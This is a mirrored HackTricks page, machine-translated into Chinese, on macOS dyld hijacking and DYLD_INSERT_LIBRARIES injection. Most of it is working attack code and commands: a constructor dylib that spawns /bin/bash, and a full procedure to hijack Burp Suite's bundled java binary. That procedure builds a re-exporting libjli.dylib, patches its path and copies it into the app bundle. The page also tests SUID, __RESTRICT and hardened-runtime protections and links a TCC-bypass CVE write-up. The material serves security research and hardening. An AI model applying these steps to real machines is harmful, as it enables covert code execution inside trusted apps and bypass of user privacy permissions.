Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 15:12:11 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
Translator workflow a21a0e7217 Translated to Chinese
2023-08-03 19:12:22 +00:00

9.5 KiB
Raw Blame History

macOS Dyld劫持和DYLD_INSERT_LIBRARIES

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

DYLD_INSERT_LIBRARIES基本示例

要注入的库以执行shell：

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
}

攻击目标二进制文件：

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

注入（Injection）：

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld劫持示例

目标易受攻击的二进制文件是/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java。

{% tabs %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib (offset 12)

{% endcode %} {% endtab %}

{% tab title="@executable_path" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
name @rpath/libjli.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0

{% endcode %} {% endtab %}

{% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %} {% endtabs %}

根据之前的信息，我们知道它没有检查加载的库的签名，并且它正在尝试从以下位置加载库：

  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib
  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib

然而，第一个位置不存在：

pwd
/Applications/Burp Suite Professional.app

find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib

所以，它是可以被劫持的！创建一个库，通过重新导出来执行一些任意代码并导出相同的功能，同时记得使用预期的版本进行编译：

{% code title="libjli.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s",argv[0]);
}

{% endcode %}

编译它：

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
# Note the versions and the reexport

{% endcode %}

在库中创建的重新导出路径是相对于加载器的，让我们将其更改为要导出的库的绝对路径：

{% code overflow="wrap" %}

#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib

# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

最后将其复制到劫持位置：

{% code overflow="wrap" %}

cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"

{% endcode %}

然后执行二进制文件并检查库是否被加载：

./java
2023-05-15 15:20:36.677 java[78809:21797902] [+] 在./java中劫持了dylib
Usage: java [options] <mainclass> [args...]
(to execute a class)

{% hint style="info" %} 关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/找到。 {% endhint %}

更大规模

如果您计划尝试在意外的二进制文件中注入库，您可以检查事件消息以找出库何时在进程中加载（在这种情况下删除printf和/bin/bash执行）。

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

检查限制

SUID和SGID

# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello

# Remove suid
sudo chmod -s hello

__RESTRICT部分与__restrict段

The __RESTRICT section is a special section in macOS that is used to restrict the dynamic linker's behavior. It contains a segment called __restrict which specifies the libraries that should be restricted from being loaded by the dynamic linker.

__RESTRICT部分是macOS中的一个特殊部分，用于限制动态链接器的行为。它包含一个名为__restrict的段，该段指定了应该限制动态链接器加载的库。

gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict

强化运行时

在钥匙串中创建一个新的证书，并使用它对二进制文件进行签名：

{% code overflow="wrap" %}

codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello

codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert

codesign -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed

{% endcode %}

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥